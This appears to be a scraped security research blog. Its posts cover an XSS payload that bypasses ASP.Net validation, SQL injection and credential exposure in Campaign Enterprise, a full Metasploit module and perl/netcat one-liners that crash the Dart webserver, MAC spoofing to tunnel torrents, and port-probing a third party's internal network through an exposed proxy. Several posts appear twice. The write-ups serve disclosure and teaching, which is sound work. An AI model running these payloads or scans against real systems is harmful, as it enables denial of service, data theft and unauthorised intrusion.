This is just a brief update on some of the things I've been working on the last few months. As some of you know, I've been super busy with a variety of projects both at work and outside of work. But I managed to get a little "play" in too.
Back in May I had decided to do my usual. Find a piece of software to hunt for bugs in, report the bugs to the vendor, and assist in anyway I could in fixing those bugs. I find it rewarding to do this and it benefits the world as a whole. Usually I look in software that's a little off to the way side. But this time I decided to look in the most downloaded Human Resources Management application on sourceforge. The application I looked into was: OrangeHRM.
It clocks in at about 2K downloads per week, which is significantly higher than my normal <= 100 downloads per week software I like to look in because there tends to be less researchers analyzing them it seems.
Even in my initial review of this software I could tell there was some proactive response to security concerns. First it appeared there were known vulnerabilities in the past which no longer existed, indicating they have a response team of developers ready to patch bugs. It was at this point I grew a bit concerned about my ability to find bugs in their system... but I tried anyway.
And I found some.
I gave them a list of the vulnerabilities I had found and it was very well received. A very positive response in fact. A reply came with a thank you, a note that they'll be actively pursuing fixes, and a request for my resume. Flattered, I indicated that I am happily employed and not actually seeking work. I merely enjoy bug hunting in what little time I have. None-the-less they managed to coax a resume out of me.
And then they made a request I was not expecting...
They asked if I had any interest in looking into their enterprise systems as well. Like a "thanks for hacking our software, would you like to do it more?" but not in those exact words.
My exact words were: "Um.... Heck Yeah!"
Okay... not my exact words, but close enough!
So I agreed to jiggle their door knobs and see what, if anything, would open up. I found enough vulnerabilities to provide real feedback (I'm not positive about the status of all these so sorry no in-depth right now, but keep an eye out for future posts!). And of course areas I found to be secure or very well done (which there are plenty) I could provide that as feedback as well.
One of the things I found particularly interesting about OrangeHRM is that it appears there must be code review in place for their core application. I say this because the core application seems to lack any SQL Injection or XSS.
Now when I say this, I don't mean there are *none,* just that the core lacks them. I did find some opportunities for these in the application, but I believe the risk for them is relatively low in general. In fact in their enterprise systems I believe they've managed to mitigate these issues entirely. It seems they've adopted a defense-in-depth approach as well.
First, they're being proactive in bringing in 3rd party auditors to assess their applications and environments (at least me, if not more).
Second they seem to employ some coding standards for things like SQL parameterization.
And third they've added PHP IDS as an additional layer atop their application. This is another Open Source application which may be used in order to identify, report, and block some potentially heinous actions by malicious users.
So really, I've had a lot of fun working with this company. Getting to expand out a bit into the penetration testing world. It's been absolutely a positive experience. They are highly receptive to feedback. If you're willing to work with them, they're quite receptive to concerns and have been markedly very solution oriented.
Hopefully I'll have the opportunity to work with them more in the future. And that's some of the recent stuff I've been working on!
Until next time, Hack Legal, Hack Safe, but most of all Hack fun!
Showing posts with label Security. Show all posts
Showing posts with label Security. Show all posts
Monday, October 28, 2013
Friday, August 23, 2013
Cross Site Scripting vs. ASP.Net EnableValidation="true"
A friend of mine recently told me about a debate he was participating in with a colleague of his. His colleague stated that the reason ASP.Net applications are so secure, is because when EnableEventValidation flag on a page is set to true it will catch any Cross Site Scripting (XSS) attempt and throw an error.
I'm here to say... his Colleague is absolutely correct!
Wait... that's not right. They are actually mistaken. And unfortunately I've met a number of individuals who carry this same belief erroneously.
This is a perfect example of the "Defender's Dilemma." Where-in a defensive posture must account for 100% of all attacks and vectors, which may be costly to the point of exhaustion, or accepting attacks as inevitable because the attacker need only be right one in a million attacks to perform a breach.
This said, yes, EnableEventValidation may present a thorn in an attacker's side. Particularly when all of the sweet sweet pwnage is so rife with opportunity because of that one field that is so obviously vulnerable. But then when you drop your <script> it's thwarted immediately and you immediately wish it was a PHP host you were attacking instead.
But reality is contrary to the surprisingly common misconception that the this flag prevents XSS attempts in all cases. It just doesn't. And there are good reasons why it doesn't. XSS has a huge key-space for potential vectors, arguably an insurmountable key-space. This is compounded by the fact that new methods can be evolved from previously benign unexpected vectors. A perfect example of this would by UTF-7 encoding attacks. A bug that affects only few browsers nowadays. Like I said the defender has to always be right and the attacker only has to be right once. Another issue is that some XSS is represented in manners which may easily represent real valid data. e.g. they may not contain tags at all.
Consider the following as a simple example.
The ASP.Net Page definition, simple example:
<%@Page ... EnableEventValidation="true" %>
...
<div style="<%= Request.QueryString["style"] %>">Welcome Home Marty</div>
Though this is obvious to any conscientious developer, this sort of code can slide into a code base if it is written by a less experienced coder and approved too hastily by an experienced coder. How the code gets into a code base is largely unimportant, what is important is assume you've got something like this, and maybe it's a good time to do a code review if you're relying entirely on the EnableEventValidation flag to protect you.
When exploiting this, and this is one of my favorite methods personally, try leveraging javascript events. For instance, use the onmouseover event to fire your arbitrary javascript when the affected user mouses over a particular object:
http://host/vulnerablePage.aspx?style="%20onmouseover="alert('xss');"
No tags, but the server will process the request and render the onmouseover event with the javascript payload. An important note when testing this is, you know it's worked because it passes by the EnableEventValidation - no exception thrown. However, if you attempt to exploit this against users of I.E. or Chrome you'll likely see little to no success (error towards no success). This is because these clients recognize that script that is executing was passed to the server by the client. This is not a feature of ASP.Net but instead of the client itself. So if you use Firefox without NoScript installed, it should be responsive to this attack.
Now in a similar situation where a client might get to set their choice of style by inserting into a database, this is a different story. This is the more troublesome persistent XSS attack and the vulnerable code may take the likeness of something such as:
<%@Page ... EnableEventValidation="true" %>
...
<div style="<%= myDataBaseObject.ChosenStyle %>">Welcome Home Marty</div>
In which case even I.E. and Chrome will not have a frame of reference for the XSS. The will not be able to distinguish the XSS from an attack or valid data and will render the page with the onmouseover event ready and willing to fire!
The solution to this is, encode your outputs in a context sensitive manner when dumping information to your clients. By all means EnableEventValidation, but do not rely on it as a replacement for secure programming practices!
And it should be noted, this flag does not provide any protection for other vectors like SQLi, CSRF, LFI, CR/LF, etc. It is really designed for anti-XSS.
So until next time... Hack legal, Hack safe, but most of all... Hack Fun!
I'm here to say... his Colleague is absolutely correct!
Wait... that's not right. They are actually mistaken. And unfortunately I've met a number of individuals who carry this same belief erroneously.
This is a perfect example of the "Defender's Dilemma." Where-in a defensive posture must account for 100% of all attacks and vectors, which may be costly to the point of exhaustion, or accepting attacks as inevitable because the attacker need only be right one in a million attacks to perform a breach.
This said, yes, EnableEventValidation may present a thorn in an attacker's side. Particularly when all of the sweet sweet pwnage is so rife with opportunity because of that one field that is so obviously vulnerable. But then when you drop your <script> it's thwarted immediately and you immediately wish it was a PHP host you were attacking instead.
But reality is contrary to the surprisingly common misconception that the this flag prevents XSS attempts in all cases. It just doesn't. And there are good reasons why it doesn't. XSS has a huge key-space for potential vectors, arguably an insurmountable key-space. This is compounded by the fact that new methods can be evolved from previously benign unexpected vectors. A perfect example of this would by UTF-7 encoding attacks. A bug that affects only few browsers nowadays. Like I said the defender has to always be right and the attacker only has to be right once. Another issue is that some XSS is represented in manners which may easily represent real valid data. e.g. they may not contain tags at all.
Consider the following as a simple example.
The ASP.Net Page definition, simple example:
<%@Page ... EnableEventValidation="true" %>
...
<div style="<%= Request.QueryString["style"] %>">Welcome Home Marty</div>
Though this is obvious to any conscientious developer, this sort of code can slide into a code base if it is written by a less experienced coder and approved too hastily by an experienced coder. How the code gets into a code base is largely unimportant, what is important is assume you've got something like this, and maybe it's a good time to do a code review if you're relying entirely on the EnableEventValidation flag to protect you.
When exploiting this, and this is one of my favorite methods personally, try leveraging javascript events. For instance, use the onmouseover event to fire your arbitrary javascript when the affected user mouses over a particular object:
http://host/vulnerablePage.aspx?style="%20onmouseover="alert('xss');"
No tags, but the server will process the request and render the onmouseover event with the javascript payload. An important note when testing this is, you know it's worked because it passes by the EnableEventValidation - no exception thrown. However, if you attempt to exploit this against users of I.E. or Chrome you'll likely see little to no success (error towards no success). This is because these clients recognize that script that is executing was passed to the server by the client. This is not a feature of ASP.Net but instead of the client itself. So if you use Firefox without NoScript installed, it should be responsive to this attack.
Now in a similar situation where a client might get to set their choice of style by inserting into a database, this is a different story. This is the more troublesome persistent XSS attack and the vulnerable code may take the likeness of something such as:
<%@Page ... EnableEventValidation="true" %>
...
<div style="<%= myDataBaseObject.ChosenStyle %>">Welcome Home Marty</div>
In which case even I.E. and Chrome will not have a frame of reference for the XSS. The will not be able to distinguish the XSS from an attack or valid data and will render the page with the onmouseover event ready and willing to fire!
The solution to this is, encode your outputs in a context sensitive manner when dumping information to your clients. By all means EnableEventValidation, but do not rely on it as a replacement for secure programming practices!
And it should be noted, this flag does not provide any protection for other vectors like SQLi, CSRF, LFI, CR/LF, etc. It is really designed for anti-XSS.
So until next time... Hack legal, Hack safe, but most of all... Hack Fun!
Thursday, October 18, 2012
My First Experiences Bug Hunting, Part 2
So in Part 1 I disclosed the specifics of CVE-2012-3819, and I ended with the concept of loading a debugger (OllyDbg in this case) in order to analyze the program while it crashes from the stack overflow exception. During this process it is easy to note that no control of the EIP register is obtained - and thus the bug is relegated to a generic DoS type bug.
As you can see the registers remain largely intact. EAX is a pointer on the stack (which is very low at the point of crashing, due to the stack consumption). So it is shown that the impact of this bug is likely very small. But since we have the debugger open anyway, we go ahead and do a search for strings. This is so we can see what else might be of interest just while we're in town.
To do this we first want to be analyzing the actual executable, in this case: "Campaign11.exe" which is the primary executable for Campaign Enterprise 11, my installation is a previous version (11.0.538). This software, of which I found another five vulnerabilities within, is used to send e-mails to large lists of individuals. It is an excellent marketing tool. Including the recent fixes for these bugs (version 11.0.551), I believe it will be that much better now. We click View in the menu and select "Executable Modules" which loads a list of the images presently mapped to memory. We then double click the entry which lists Campaign11.exe and this loads that module into the CPU window.
Right clicking in the instruction pane of the CPU window we choose "Search for -> All referenced text strings." This loads a list of things that look like strings in the Campaign11.exe application. This will provide us a great deal of insight into the inner-workings of the application. First I note at the top of this list are several tell-tale signs that it was programmed in Visual Basic. Including typical VB style nomenclature for control names, etc.
Knowing one of the key failures in many web based applications is SQL Injection (SQLi) I begin looking for SQL strings of interest. I right click in the list of strings and select "Search for text," running this command I seek out instances of "select * from" which is ubiquitous. I repeat this search, seeking things that look interesting. I find several entries that could be fun:
Then I try to login (plus a little SQL Injection since I'm expecting the possibility) to see if I won anything....
See you next time and until then, Hack Safe, Hack Legal, but most of all Hack Fun!
As you can see the registers remain largely intact. EAX is a pointer on the stack (which is very low at the point of crashing, due to the stack consumption). So it is shown that the impact of this bug is likely very small. But since we have the debugger open anyway, we go ahead and do a search for strings. This is so we can see what else might be of interest just while we're in town.
To do this we first want to be analyzing the actual executable, in this case: "Campaign11.exe" which is the primary executable for Campaign Enterprise 11, my installation is a previous version (11.0.538). This software, of which I found another five vulnerabilities within, is used to send e-mails to large lists of individuals. It is an excellent marketing tool. Including the recent fixes for these bugs (version 11.0.551), I believe it will be that much better now. We click View in the menu and select "Executable Modules" which loads a list of the images presently mapped to memory. We then double click the entry which lists Campaign11.exe and this loads that module into the CPU window.
Right clicking in the instruction pane of the CPU window we choose "Search for -> All referenced text strings." This loads a list of things that look like strings in the Campaign11.exe application. This will provide us a great deal of insight into the inner-workings of the application. First I note at the top of this list are several tell-tale signs that it was programmed in Visual Basic. Including typical VB style nomenclature for control names, etc.
Knowing one of the key failures in many web based applications is SQL Injection (SQLi) I begin looking for SQL strings of interest. I right click in the list of strings and select "Search for text," running this command I seek out instances of "select * from" which is ubiquitous. I repeat this search, seeking things that look interesting. I find several entries that could be fun:
004C6143 PUSH Campaign.00426428 UNICODE "select * from tblUsers where "UID"="
004C624D PUSH Campaign.004264AC UNICODE "select * from tblUsers where UID="There are many of these, but they all seem invaluable - they appear to be the first start of a string concatenation which may lead to SQL injection - and this is the sort of code you would associate with the login screen. I find all instances of "select * from tblUsers" and set break points on each. I use Ctrl+L to go to the next, then use F2 to speed the process of "red-pointing."
Then I try to login (plus a little SQL Injection since I'm expecting the possibility) to see if I won anything....
Damn. I see my SQLi is thwarted likely by a call to replace("'", "''"). Scrolling up some you can see this call does in fact happen. I see down in the current operands area that the string we're specifically dealing with is
"select * from tblUsers where username=". So back in the strings window I limit my breakpoints down to just the ones that have an instance of the string we landed on first. There are only two, and I notice something interesting nearby the second instance. A string "User-Edit.asp" - I try to load this URL "http://localhost:82/User-Edit.asp"
Bingo! I see a screen with *USERNAMEINPUT* as the username - I presume this is some sort of place holder. I combine this with the test for UID in the strings above and take a stab in the dark - I use UID as a Query String parameter and set it to 1. "http://localhost/User-Edit.asp?UID=1"
No dice, but I did land on a break point which may show me what's happening a bit. I step forward a little bit and wait for a string to appear in the top right pane of the CPU window - eventually it does, right around:
005FD39A . 8B85 60FFFFFF MOV EAX,DWORD PTR SS:[EBP-A0]
The string is in EDX, and I see it's carrying my "UID=1". I wonder... what about SQLi here? I try it. "http://localhost:82/User-Edit.asp?UID=1%20OR%201=1"
I see my SQLi seems to be unhindered, so I let the program run through (F9).
I'm greeted with the user-edit page - and I have the admin user (the only user in my case). Reviewing the source of the page, I see it populates the username as well as the password boxes. In my example it appears random - but that's just the password I punched in. Its in plaintext!
I go ahead and enumerate all of the available .asp pages and continue similar testing on these. Then I contact the vendor as well as cve-assign@mitre.com and these are what was assigned:
CVE-2012-3820: Multiple SQL Injection: activate.asp – SerialNumber field, User-Edit.asp – UID field
CVE-2012-3821: Unauthorized access to the activate.asp page, allows modification of stored database field SerialNumber without authentication or authorization.
CVE-2012-3822: Unauthorized access to the User-Edit.asp page, allows attacker to enumerate users and their credentials by supplying their UID in the querystring.
CVE-2012-3823: The product has stores passwords in clear text and these may be retrieved using the User-Edit.asp page.
CVE-2012-3824: Multiple pages accessible without authentication or authorization which may lead to the unintended disclosure of information or functionality but was not assessed. Register.asp, Group-Edit.asp, Subscriber-Edit.asp, SMTP-Edit.asp, Email-Edit.asp, Admin-GlobalConfig.asp, Admin-Users.asp, Campaign-Datasource.aspAnd that sums up my first experiences bug hunting.
See you next time and until then, Hack Safe, Hack Legal, but most of all Hack Fun!
Friday, September 14, 2012
Writing My First Metasploit Module
So I decided I should learn how to use Metasploit. It seems to me, that this framework is the wave of the future, even though it's already in it's fourth revision with what I understand to have been several major rewrites. So I guess the future is already here and I'm just behind the curve!
For the uninitiated, Metasploit is a framework. This means it provides the tools necessary to achieve some common goals. You may have guessed it, the common goal is exploitation of vulnerabilities found in systems. Note: The Metasploit website mentions a Pro version and Community Edition, an Express version and the Metasploit Framework for developers. We'll use the Framework which is provided in BackTrack 5R3 already!
To just try this out go to the Backtrack website: http://www.backtrack-linux.org/
In my previous post I discuss the discovery of a very minor vulnerability. Having developed a simplistic exploit it in perl, it seemed the perfect opportunity to develop a Metasploit module for it as well. This would exercise a new programming language for myself (ruby) for which I have no prior experience. And facilitate the development of other future exploits in a rapid development environment through practice.
As discussed in the book Metasploit: The Penetration Tester's Guide, a reasonable technique for making your first module is, start from another module! So I chose to base mine off of the module found at:
The first bits to change are, the informative bits. I modified the Name, Description, Author, Version, References, and Disclosure Date to match the specifics of my vulnerability. But this is not necessary to the functionality. The next important piece was to register my options, since they don't match the apache_mod_isapi denial of service options. This is important to the functionality.
I kept the RHOST, which makes sense, and I only need one option for a Remote port (RPORT) - so I scoured through the framework with a little find + grep magic:
And found
This completes my module, and I save it to:
Now when I load msfconsole, I have access to my module and it's as simple as:
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Description' => %q{ 'Name' => 'Dart Webserver <= 1.9.0 Stack Overflow', Dart Webserver from Dart Communications throws a stack overflow exception when processing large requests. } , 'Author' => [ 'catatonicprime' ], 'Version' => '$Revision: 15513 $', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-3819' ], ], 'DisclosureDate' => '9/11/2012')) register_options([ Opt::RPORT(80), OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust', '520000' ]) ]) end def run serverIP = datastore['RHOST'] if (datastore['RPORT'].to_i != 80) serverIP += ":" + datastore['RPORT'].to_s end size = datastore['SIZE'] print_status("Crashing the server ...") request = "A" * size + "\r\n\r\n" connect sock.put(request) disconnect end end
For the uninitiated, Metasploit is a framework. This means it provides the tools necessary to achieve some common goals. You may have guessed it, the common goal is exploitation of vulnerabilities found in systems. Note: The Metasploit website mentions a Pro version and Community Edition, an Express version and the Metasploit Framework for developers. We'll use the Framework which is provided in BackTrack 5R3 already!
To just try this out go to the Backtrack website: http://www.backtrack-linux.org/
- Download it
- Burn it
- Boot it
- Continue
In my previous post I discuss the discovery of a very minor vulnerability. Having developed a simplistic exploit it in perl, it seemed the perfect opportunity to develop a Metasploit module for it as well. This would exercise a new programming language for myself (ruby) for which I have no prior experience. And facilitate the development of other future exploits in a rapid development environment through practice.
As discussed in the book Metasploit: The Penetration Tester's Guide, a reasonable technique for making your first module is, start from another module! So I chose to base mine off of the module found at:
/opt/metasploit/msf3/modules/auxiliary/dos/http/apache_mod_isapi.rbI chose this module because my module will also be in the DoS for HTTP servers area. Since, it is a DoS for an HTTP server. It is also short, and simple, which means easy to modify.
The first bits to change are, the informative bits. I modified the Name, Description, Author, Version, References, and Disclosure Date to match the specifics of my vulnerability. But this is not necessary to the functionality. The next important piece was to register my options, since they don't match the apache_mod_isapi denial of service options. This is important to the functionality.
I kept the RHOST, which makes sense, and I only need one option for a Remote port (RPORT) - so I scoured through the framework with a little find + grep magic:
find ./ -exec grep -H "RPORT" {} \; | grep "Remote port"
And found
./auxiliary/crawler/msfcrawler.rb: OptInt.new('RPORT', [true, "Remote port", 80 ]),Yep, copy that and throw it into the ruby script. Watching out to remove the comma at the end since it's the last option in my list. Next I stripped out most extraneous communications and just followed the general feel of the ruby script to build a request of "A" * size bytes, tack on my "\n\n" to the end, and send it!
This completes my module, and I save it to:
~/.msf4/auxiliary/dos/http/dart_request_dos.rbNote: if you save to /opt/metasploit/msf3/modules/auxiliary/dos/http/, and later perform an update, it will wipe out your module if it is not in the actual framework tree. So be wary of that shortcut! (yes it bit me)
Now when I load msfconsole, I have access to my module and it's as simple as:
use auxiliary/dos/http/dart_request_dos------------------------------SNIP-------------------------------------
set RHOST [target_ip]
set RPORT [target_port]
exploit
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Description' => %q{ 'Name' => 'Dart Webserver <= 1.9.0 Stack Overflow', Dart Webserver from Dart Communications throws a stack overflow exception when processing large requests. } , 'Author' => [ 'catatonicprime' ], 'Version' => '$Revision: 15513 $', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-3819' ], ], 'DisclosureDate' => '9/11/2012')) register_options([ Opt::RPORT(80), OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust', '520000' ]) ]) end def run serverIP = datastore['RHOST'] if (datastore['RPORT'].to_i != 80) serverIP += ":" + datastore['RPORT'].to_s end size = datastore['SIZE'] print_status("Crashing the server ...") request = "A" * size + "\r\n\r\n" connect sock.put(request) disconnect end end
Tuesday, September 11, 2012
My First Experiences Bug Hunting, Part 1
/*
Responsible Disclosure(info): in the following post and future posts I will cover the specifics of my first bug hunt. This has led to six assigned CVEs. One of which is discussed below and it's ID is CVE-2012-3819. I will discuss the other five, and the affected software, once the vendor(s) has had time to assess and determine remediation for the remaining vulnerabilities. CVE-2012-3819 was originally reported to an affected vendor in October of 2011, it was reported (by the author) to the responsible vendor August 2nd of 2012, the responsible vendor has replied stating:
*/
A couple of years ago I had never even heard the term Bug Hunt. Had never really done any real exploitation what so ever. Technique was something of myths, reverse engineering was something I did to watch bits floating around in memory and that's about it. Maybe I could get a lucky (well 'lucky' after trying 20 different locations) patch in a video game to gain an edge or something. But really, understanding a bug and developing an exploit, was (is?) beyond my caliber.
Responsible Disclosure(info): in the following post and future posts I will cover the specifics of my first bug hunt. This has led to six assigned CVEs. One of which is discussed below and it's ID is CVE-2012-3819. I will discuss the other five, and the affected software, once the vendor(s) has had time to assess and determine remediation for the remaining vulnerabilities. CVE-2012-3819 was originally reported to an affected vendor in October of 2011, it was reported (by the author) to the responsible vendor August 2nd of 2012, the responsible vendor has replied stating:
"Thank you for the additional information. The technical team was able to reproduce the issue and log it as issue #5654. I know there are not immediate plans to resolve the issue, however it will be reviewed when the product is again up for renewal." [formatting by me]Enough of the boring stuff, let's get to the fun!
*/
A couple of years ago I had never even heard the term Bug Hunt. Had never really done any real exploitation what so ever. Technique was something of myths, reverse engineering was something I did to watch bits floating around in memory and that's about it. Maybe I could get a lucky (well 'lucky' after trying 20 different locations) patch in a video game to gain an edge or something. But really, understanding a bug and developing an exploit, was (is?) beyond my caliber.
Then I heard about this so called "Bug Hunting," and figured - what the hell, I have access to software and I like playing with debuggers. Let's see if we can't break some code. And this is where my understanding of the steps involved come in, to my knowledge they involved the following:
- Install Software
- ????
- Win/Exploit
The application has a stand alone web server, the same one found here: Dart Communications. The version I was utilizing was version 1.8.0.10 (current as of writing is 1.9.0.0). I loaded the app up and the software began spinning it's wheels. Simple, right?
It does whatever stuff it needs to start up, and then bind()s to an address followed by a listen() for incoming connections. So now what? Step #2 above is a black box to me - I don't really know where to go, or what the hell I'm doing. So I decide to start with the normal use case scenario. I connect to the server and make a valid request by printing the following to a connected socket:
So I think to myself, "If I were writing a web app I'd need the file name... would I check the size of the URI in the GET/POST request?"
/*Spoiler Alert* more CVE-2012-3819 specifics
It's denial of service only. Simply put, the Requested URI is copied around in memory, some copies are stored on the stack. After several large copies, they exhaust the available stack space for the process. This yields a Stack Overflow Exception, not to be confused with a buffer overflow. The exception is passed to the controlling process where no handler exists, so the application exits immediately. Additionally the request does not have to be well formed, e.g. a continuous string of repeating 'A's will have the same effect as long as it does not receive the "\n\n" and try to process the request.
So I load Ollydbg to and take a closer look at the vulnerability, which I'll cover that in a future post, and how it led me to find better and more mature bugs which have real security impacts beyond the utilitarian annoyance of a Denial of Service condition.
Until then, Hack Safe, Hack Legal, but most of all Hack Fun!
GET / HTTP/1.1\n\nSimple enough to do, it's just a quick perl + netcat combo [nifty trick from Hacking By Erickson, Jon (Google Affiliate Ad), plus a shameless plug for ad-sense, it is a fantastic book though I swear].
perl -e 'print "GET / HTTP/1.1\n\n"' | nc server 80I get a typical "200 OK" response and I think quietly to myself... Then I think about the different pieces of this request. They take the form of '[method] [requested-uri] HTTP/[version]\n\n' which means I can control the method (e.g. GET or POST), the Requested-URI (e.g. / or /index.html), and the HTTP version reported (e.g. 1.1 or 1.0).
So I think to myself, "If I were writing a web app I'd need the file name... would I check the size of the URI in the GET/POST request?"
perl -e 'print "GET " . "A" x 9999 . " HTTP/1.1\n\n"' | nc server 80The server responds with a 401/403/404 or whatever. An expected and normal result having fed in garbage data. So I figure what the hell, let's go really huge and see if it survives.
perl -e 'print "GET " . "A" x 520000 . " HTTP/1.1\n\n"' | nc server 80Presto! The server crashes and I get a feeling like I might be onto something good. The number I'm showing here was chosen experimentally, I really just kept multiplying by ten. I e-mail the vendor to inform them of the bug and I begin an investigation to see how far down the rabbit hole it goes. The hope is remote arbitrary code exploitation.
/*Spoiler Alert* more CVE-2012-3819 specifics
It's denial of service only. Simply put, the Requested URI is copied around in memory, some copies are stored on the stack. After several large copies, they exhaust the available stack space for the process. This yields a Stack Overflow Exception, not to be confused with a buffer overflow. The exception is passed to the controlling process where no handler exists, so the application exits immediately. Additionally the request does not have to be well formed, e.g. a continuous string of repeating 'A's will have the same effect as long as it does not receive the "\n\n" and try to process the request.
perl -e 'print "A" x 520000 . "\n\n"' | nc server 80*End Alert*/
So I load Ollydbg to and take a closer look at the vulnerability, which I'll cover that in a future post, and how it led me to find better and more mature bugs which have real security impacts beyond the utilitarian annoyance of a Denial of Service condition.
Until then, Hack Safe, Hack Legal, but most of all Hack Fun!
Wednesday, September 29, 2010
Public Networks and Torrents
I must advise against using networks without permission, as this violates laws for many states in the U.S. including my state, Arizona. This article assumes you have full permission to use the networks in question and that the techniques herein have been explicitly (or implicitly) deemed acceptable and appropriate for your purposes.
I've heard things like "torrents are illegal;" they're not. Transferring copyrighted content may be, depending on your country. So here is my opinion on the morals and ethics of copyright infringement, et al. ... Just kidding, I find the moral and ethical talk about file sharing a bit boring. So lets talk about the problems people face when attempting to leap technological hurdles instead!
Many systems rely on your MAC address as a 'static' element of your communications. For instance, DHCP servers record your MAC address when supplying an IP address with a lease period. This is because generally your MAC address won't change as you use a network consistently for an hour. In fact in general your MAC address doesn't change when you leave a network and come back a week later. So a DHCP server can keep track of what your most recent IP address was for at least the lease period. However, your MAC address is not a static element of your communications. Changing it often can even provide some benefits. Like controlling the types of traffic your network is routing, or increasing anonymity through diffusion.
Depending on your personal computer there are different ways to change your MAC address. We'll cover the Windows 7 way and a Linux way here:
Using Windows 7:
When you only have web channels available but you still really need to torrent that new release of Back Track, you just need to convert your torrent traffic to web traffic. Using a torrent client which supports proxies is a great way to maximize your throughput and control the type of traffic your moving - not to mention depending on the network you've been given this free reign on it can provide you just that a little more anonymity to the rest of the BitTorrent network. Since you're on a public network, you're fresh and clean, it could be anyone located in your geographical location and connected to the same network.
Just select any proxy which is available to you that runs on port 80 and configure your torrent client to use this proxy. Ideally you'll have a high bandwidth path to the proxy and you'll be able to encapsulate your torrent traffic into web traffic allowing you to access the BitTorrent network.
Cheers
Problem one: How to connect to a network but reduce or segregate the information collected about your specific machine at that time?Often you don't have to prove anything about yourself on networks, so why sign your name on every piece of data? Wireless networks are all over the place. Once you're given permission and you have that green light to access a network as you wish, you have the leeway to modify your MAC address.
Many systems rely on your MAC address as a 'static' element of your communications. For instance, DHCP servers record your MAC address when supplying an IP address with a lease period. This is because generally your MAC address won't change as you use a network consistently for an hour. In fact in general your MAC address doesn't change when you leave a network and come back a week later. So a DHCP server can keep track of what your most recent IP address was for at least the lease period. However, your MAC address is not a static element of your communications. Changing it often can even provide some benefits. Like controlling the types of traffic your network is routing, or increasing anonymity through diffusion.
Depending on your personal computer there are different ways to change your MAC address. We'll cover the Windows 7 way and a Linux way here:
Using Windows 7:
- Start-> Control Panel
- Network and Sharing Center
- Change Adapter Settings
- Right click on your adapter of choice (I use my wireless), disable
- Right click on your adapter of choice (I use my wireless), select Properties
- Click Configure
- Click Advanced Tab
- Look for anything related to your MAC address (varies per driver), modify it and save all your changes.
- Right click on your adapter of choice (I use my wireless), enable
- Confirm in a command prompt by running ipconfig /all to determine if your MAC address changes have taken effect (you should also have a new IP addres).
- ifdown [interface]
- Run ifconfig [interface] hw ether [MAC]
- ifup [interface]
- Confirm by running ifconfig [interface] to make sure the changes have taken effect.
Problem two: We're connected, we feel fresh and clean, but we can't seem to connect to the BitTorrent network?I use a lot of wireless networks, coffee shops, work, bars, libraries, schools, airports, city, you get the idea. Occasionally these networks will limit the types of connections leaving and entering them in part as a safety precaution for the users on the network. A common type of limitation is port restrictions on everything but port 80/443 traffic.
When you only have web channels available but you still really need to torrent that new release of Back Track, you just need to convert your torrent traffic to web traffic. Using a torrent client which supports proxies is a great way to maximize your throughput and control the type of traffic your moving - not to mention depending on the network you've been given this free reign on it can provide you just that a little more anonymity to the rest of the BitTorrent network. Since you're on a public network, you're fresh and clean, it could be anyone located in your geographical location and connected to the same network.
Just select any proxy which is available to you that runs on port 80 and configure your torrent client to use this proxy. Ideally you'll have a high bandwidth path to the proxy and you'll be able to encapsulate your torrent traffic into web traffic allowing you to access the BitTorrent network.
Cheers
Tuesday, September 28, 2010
Scanning Internal Networks Through Exposed Proxies
Proxies are a really cool idea. They provide us with a way to get to places we couldn't before. A way to hide our true identities from the outside world or in some cases a way to hide our true identity from an inside world. Some networks of interest have such a proxy and it should pique your curiosity about what it provides the outside world when looking in.
This was discovered by looking at a homepage which links to some internally available service. The web server providing the exposed proxy looks typical:
What is one of the most interesting questions here is: what about firewalls? What are the expected trust boundaries and how do they compare with the actual trust boundaries? Depending on the different web services available and of course other configuration issues, this proxy is likely side stepping a firewall and could be putting a huge chink in the perimeter of the owning network.
This was discovered by looking at a homepage which links to some internally available service. The web server providing the exposed proxy looks typical:
http://some.network.com/And contains an image from a web cam that has a source that looks like this:
http://some.network.com/proxy/10.1.1.2/jpg/fullsize.jpgFascinating, IP addresses starting with 10 are defined in RFC1918 (section 3) as being private. So does this mean we can make a web request to some.network.com/proxy/[desired content] and it'll just pass it along? Lets give it a try, load up a browser and load:
http://some.network.com/proxy/www.google.com/The results are not only as expected, but exciting! Google appears to be the web page served. But how far can this proxy really go? I wonder...
http://some.network.com/proxy/some.othernetwork.com:84/Now a more interesting result. Choosing another network which I am aware has a web server running on the non-standard port of 84 we see the slightly less expected result that the proxy actually forms a connection anyway. This means its not confined to web services on port 80 or 443! This is interesting but not exactly as useful as the title implies. We're really just bouncing off the proxy to get back to the Internet from the Internet. But we still have the internal IP address lingering in that source attribute, so if it works one way, surely it works the other way?
http://some.network.com/proxy/10.1.1.2:443/jpg/fullsize.jpgPraying for an SSL service. "Service is currently unavailable" I think this means "No Dice." This error was received after a significant delay, which means the proxy itself must have been waiting for the TCP/IP connection timeout before actually responding. That's good, since it means it tried and as expected did not rewrite the port to 80. Maybe another host would be more interesting?
http://some.network.com/proxy/10.1.1.3/ --Nope
http://some.network.com/proxy/10.1.1.4/ --Nope
http://some.network.com/proxy/10.1.1.5/ --Nope
http://some.network.com/proxy/10.1.1.6/ --DING!Awesome, another web server. Contains miscellaneous content of no consequence, but it also has some content that leads us to believe there could be another service running. Lets give it another try...
http://some.network.com/proxy/10.1.1.6:1/ --Nope
http://some.network.com/proxy/10.1.1.6:2/ --Nope
...
http://some.network.com/proxy/10.1.1.6:22/ --Nope
http://some.network.com/proxy/10.1.1.6:23/ --DING!No way, really? Port 23 is for Telnet, convenient and very interesting. The result is we're served with a 'file' which we go ahead and download it into RAM, since we'll probably be throwing it away, and what do we see?
[Telnet Stuffs]
[System Banner]
Enter Password >
ERROR - TimeoutAwesome, it is a telnet server, we've got a nice little banner in there too for the type of system it is running on. We can't go much further than this on that one host (nor would we want to), but as you can see we can easily scan for services of interest on the internal network from the Internet at large.
What is one of the most interesting questions here is: what about firewalls? What are the expected trust boundaries and how do they compare with the actual trust boundaries? Depending on the different web services available and of course other configuration issues, this proxy is likely side stepping a firewall and could be putting a huge chink in the perimeter of the owning network.
Subscribe to:
Posts (Atom)